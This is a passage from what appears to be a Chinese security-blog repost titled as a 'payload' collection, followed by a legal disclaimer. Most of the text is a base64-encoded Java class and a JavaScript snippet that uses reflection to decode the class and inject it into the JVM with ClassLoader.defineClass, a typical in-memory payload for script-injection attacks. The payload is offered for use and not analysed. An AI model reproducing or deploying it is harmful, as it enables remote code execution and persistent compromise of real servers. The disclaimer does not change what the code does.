BYQAgAB8AAwAlAAAADAABAAgBcQAhACYAAQArAAAATwAO/wAjAAcHAAIHACgHAFEHAAQHAFEBAQAA/gBABwBTBwBVBwAq/gAvBwAEBwBVBwAq/AA1BwAE gAa AAC QACAi0q gAa AAFQgcAGwsADgAAAAgAAwCdAJ8AoQCiAAAAAgCjAAIAPgA/AAEABwAAAW0ABgAIAAAAhAFNuACztgCMTi3HAAsrtgB9tgC2Ti0qtgC4tgC8TacAZDoEKrYAvrgAwrgAxjoFEq8Sxwa9AH9ZAxLIU1kEsgDNU1kFsgDNU7YA0ToGGQYEtgDXGQYtBr0ABFkDGQVTWQQDuADbU1kFGQW uADbU7YA38AAfzoHGQe2AOJNpwAFOgUssAACABUAHgAhABsAIwB9AIAApQADABwAAAA AA8AAABlAAIAZgAJAGcADQBoABUAawAeAHUAIQBsACMAbgAvAG8ATQBwAFMAcQB3AHIAfQB0AIAAcwCCAHYAHQAAAFIACAAvAE4ApgCnAAUATQAwAKgAqQAGAHcABgCqAKsABwAjAF8ATQBOAAQAAACEACMAJAAAAAAAhAAgAB8AAQACAIIAHgAfAAIACQB7AKwArQADACsAAAArAAT9ABUHAAQHAK9LBwAb/wBeAAUHAAIHAAQHAAQHAK8HABsAAQcApfoAAQABAOMA5AABAAcAAABtAAMAAwAAABorEuq2AGeZABIrEuq2AO49KxwEYLYA8rArsAAAAAMAHAAAABIABAAAAHoACQB7ABAAfAAYAH4AHQAAACAAAwAQAAgA5QDmAAIAAAAaACMAJAAAAAAAGgDnAOgAAQArAAAAAwABGAABAEIAQwACAAcAAARRAAcACwAAAeYqtgECTiq2ALg6BCoZBLYBBDoFKxMBBgS9AH9ZAxISUwS9AARZAxkFU7gBCcYABLGnAAU6CBMBC7gBDrYA4joGEwEQuAEOtgDiOgenADo6CBMBErgBDrYA4joGEwEUuAEOtgDiOgenAB86CRMBEgQtuAEXtgDiOgYTARQELbgBF7YA4joHGQYTARkEvQB/WQMSElMEvQAEWQMZBVO4AQlXGQYTARsEvQB/WQMSElMEvQAEWQMZBFO4AQlXKxMBHQS9AH9ZAxkGtgB9UwS9AARZAxkGU7gBCVcZBxMBGQS9AH9ZAxISUwS9AARZAxkFU7gBCVcZBxMBHwS9AH9ZAxISUwS9AARZAxMBIVO4AQlXGQcTASMEvQB/WQMSElMEvQAEWQMqtgElU7gBCVcTASe4AQ62ASs6CKcALzoJGQcTAS0EvQB/WQMSElMEvQAEWQMqtgElU7gBCVcTAScELbgBF7YBKzoIKxMBLwS9AH9ZAxkHtgB9UwS9AARZAxkHU7gBCVenACI6CSsTATEEvQB/WQMZB7YAfVMEvQAEWQMZB1O4AQlXGQgDMgS2ATQZCAMyBb0ABFkDK1NZBBkGU7YBNzoJKxMBOLgAbMABOjoKGQoZBRkJuQE AwBXpwAKOggZCLYBQbEABgATAC8AMwAbADUASwBOABsAUABmAGkAGwEPATcBOgAbAWYBgwGGABsAhQHbAd4AGwAEABwAAACiACgAAACEAAUAhQALAIYAEwCMAC8AjQAwAJAAMwCPADUAlABAAJUASwCgAE4AlgBQAJkAWwCaAGYAnwBpAJsAawCdAHgAngCFAKIAoACjALsApADYAKUA8wCmAQ8AqQEsAKoBNwCvAToAqwE8AK0BWQCuAWYAsgGDALUBhgCzAYgAtAGlALcBrQC4AcMAuQHPALoB2wC9Ad4AuwHgALwB5QC AB0AAADUABUAQAAOAPMAHwAGAEsAAwD0AB8ABwBbAA4A8wAfAAYAZgADAPQAHwAHAGsAGgBNAE4ACQBQADUA9QBOAAgBNwADAPYA9wAIATwAKgBNAE4ACQGIAB0ATQBOAAkBZgB1APYA9wAIAcMAGAD4AB8ACQHPAAwA QD6AAoB4AAFAE0ATgAIAAAB5gAjACQAAAAAAeYAIAAfAAEAAAHmAB4AHwACAAUB4QD7AK0AAwALAdsA/ADoAAQAEwHTAP0A6AAFAHgBbgDzAB8ABgCFAWEA9AAfAAcAJQAAABYAAgE3AAMA9gD AAgBZgB1APYA/gAIACsAAACLAAz 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 wOge7AJhZGQe2Aa63Aa /AAMAJQByAHUAnwCcAKMApACdALMAugC7AJ0AAwAcAAAAbgAbAAAA/gAUAP8AFwEBABsBAgAlAQQAKQEGADABBwA7AQgAVgEJAF0BCgBgAQcAZgENAGkBDgByARIAdQEQAHcBEQB ARIAgQEUAIYBFQCPARcAlQEYAJwBGgCkARsApgEcALMBIAC7ASEAvQEiAB0AAAB6AAwAMwAzAUYA5gAIADAANgGUAZUABwB3AAcATQGWAAcApgANAE0BlwAHAL0ADQBNAZcABwAAAMoBewAfAAAAAADKAZMA6AABAAAAygGYAZkAAgAAAMoBmgGbAAMAFAC2AKoAqwAEABcAswGcAKkABQAbAK8BnQCrAAYAKwAAAC8ADg5DBwB//gAIBwB/BwDTBwB//QAXBwGeASz5AAUCCEIHAJ8LDVQHAJ0ORwcAnQAOAAAACAADAJ8AoQCdAAgBsAAZAAEABwAAACUAAgAAAAAACbsAAlm3AbFXsQAAAAEAHAAAAAoAAgAAACkACAAqAAA=\’;var bytecode;try{var clsBase64 = classLoader.loadClass(\’java.util.Base64\’);var clsDecoder = classLoader.loadClass(\’java.util.Base64$Decoder\’);var decoder = clsBase64.getMethod(\’getDecoder\’).invoke(base64Clz);bytecode = clsDecoder.getMethod(\’decode\’, clsString).invoke(decoder, bytecodeBase64);} catch (ee) {try {var datatypeConverterClz = classLoader.loadClass(\’javax.xml.bind.DatatypeConverter\’);bytecode = datatypeConverterClz.getMethod(\’parseBase64Binary\’, clsString).invoke(datatypeConverterClz, bytecodeBase64);} catch (eee) {var clazz1 = classLoader.loadClass(\’sun.misc.BASE64Decoder\’);bytecode = clazz1.newInstance().decodeBuffer(bytecodeBase64);}}var clsClassLoader = classLoader.loadClass(\’java.lang.ClassLoader\’);var clsByteArray = (new java.lang.String(\’a\’).getBytes().getClass());var clsInt = java.lang.Integer.TYPE;var defineClass = clsClassLoader.getDeclaredMethod(\’defineClass\’, [clsByteArray, clsInt, clsInt]);defineClass.setAccessible(true);var clazz = defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance();}’)}

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：Web安全 cor0ps cor0ps《干活payload》